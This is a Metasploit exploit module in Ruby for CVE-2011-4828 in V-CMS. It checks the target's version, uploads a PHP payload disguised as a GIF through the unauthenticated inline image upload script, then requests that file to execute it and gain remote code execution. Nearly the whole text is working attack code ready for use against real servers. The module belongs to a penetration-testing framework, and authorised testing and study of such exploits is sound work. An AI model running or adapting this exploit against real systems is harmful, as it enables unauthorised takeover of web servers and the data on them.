## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info={}) super(update_info(info, 'Name' => "V-CMS PHP File Upload and Execute", 'Description' => %q{ This module exploits a vulnerability found on V-CMS's inline image upload feature. The problem is due to the inline_image_upload.php file not checking the file type before saving it on the web server. This allows any malicious user to upload a script (such as PHP) without authentication, and then execute it with a GET request. The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as one of those extension names, which may still be leveraged in an attack. }, 'License' => MSF_LICENSE, 'Author' => [ 'AutoSec Tools', # Initial discovery 'sinn3r' # Metasploit ], 'References' => [ ['CVE', '2011-4828'], ['OSVDB', '77183'], ['BID', '50706'], ['URL', 'http://xforce.iss.net/xforce/xfdb/71358'] ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'Privileged' => false, 'DisclosureDate' => "Nov 27 2011", #When the ticket was created 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/']) ]) end def check uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'uri' => uri, 'method' => 'GET' }) if res and res.body =~ /V\-CMS v1\.[0-1]/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit peer = "#{rhost}:#{rport}" base = target_uri.path base << '/' if base[-1,1] != '/' @payload_name = "#{rand_text_alpha(5)}.php" p = get_write_exec_payload(:unlink_self=>true) post_data = "------x\r\n" post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n" post_data << "Content-Type: image/gif\r\n" post_data << "\r\n" post_data << p + "\r\n" post_data << "------x--\r\n" print_status("#{peer} Uploading payload: #{@payload_name}") res = send_request_cgi({ 'uri' => normalize_uri(base, 'includes/inline_image_upload.php'), 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=----x', 'data' => post_data }) if res print_status("#{peer} replies status: #{res.code.to_s}") else print_error("#{peer} No response from server. Will not continue") return end print_status("#{peer} Executing payload: #{@payload_name}") res = send_request_raw({ 'uri' => "#{base}temp/#{@payload_name}", 'method' => 'GET' }) if res and res.code == 404 print_error("#{peer} 404 - the upload probably failed") return end handler end end